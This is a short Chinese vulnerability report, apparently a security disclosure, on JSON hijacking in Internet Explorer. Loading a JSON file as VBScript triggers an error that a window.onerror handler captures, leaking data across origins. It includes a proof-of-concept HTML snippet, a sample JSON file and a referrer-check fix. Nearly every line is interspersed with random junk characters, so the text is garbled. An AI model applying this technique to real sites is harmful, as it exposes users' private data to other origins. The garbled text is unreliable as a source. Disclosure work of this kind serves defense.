简要描述:7 |! e4 D" @2 g2 _' \( g7 ]
9 z: t( ]2 ]* Y/ b9 {+ j) d
由于某些资源容器对数据处理不当导致json劫持漏洞.
. d( G) x3 ^1 z; a4 V3 Z- f" ?详细说明:* i. [# E9 m1 v
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
# p! ~ b7 T, c$ x! U# _<script language=vbscript></script>' u( A- Y7 S! n9 G& a! ^# x( `
' a: s9 ]. ^* f. O6 W2 v
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
- q5 D% t. U9 p+ m8 k: h漏洞证明:
1 v, r1 Z- L* O! N0 f l! A2 h<script>
W! Q2 d6 J" D+ c/ \6 Vwindow.onerror=function(_){) L( l+ H6 k( M7 p4 R: B: _
alert(_)
5 _0 L( l" R: P}
2 H! j7 j n4 f- c* }/ A6 ~' t</script>
% J0 V1 V8 g0 |* S0 ^1 ~: |<script language=vbscript src=1.json></script> ?6 \! G0 W/ ~- Z P2 ~
' {! n) u4 c* J0 T1 W
4 h, m2 C( C) I# ~5 j6 S6 [$ r( d
1.json:8 d/ _& L7 x' k) \% a. U
[{"name":"sogili","age":19}]' z4 W, I8 t" K2 D
修复方案:
& @, ?3 `! m( f3 u/ ^, |+ g网站业务对于这个问题可以通过验证referrer是否为同源来防御 |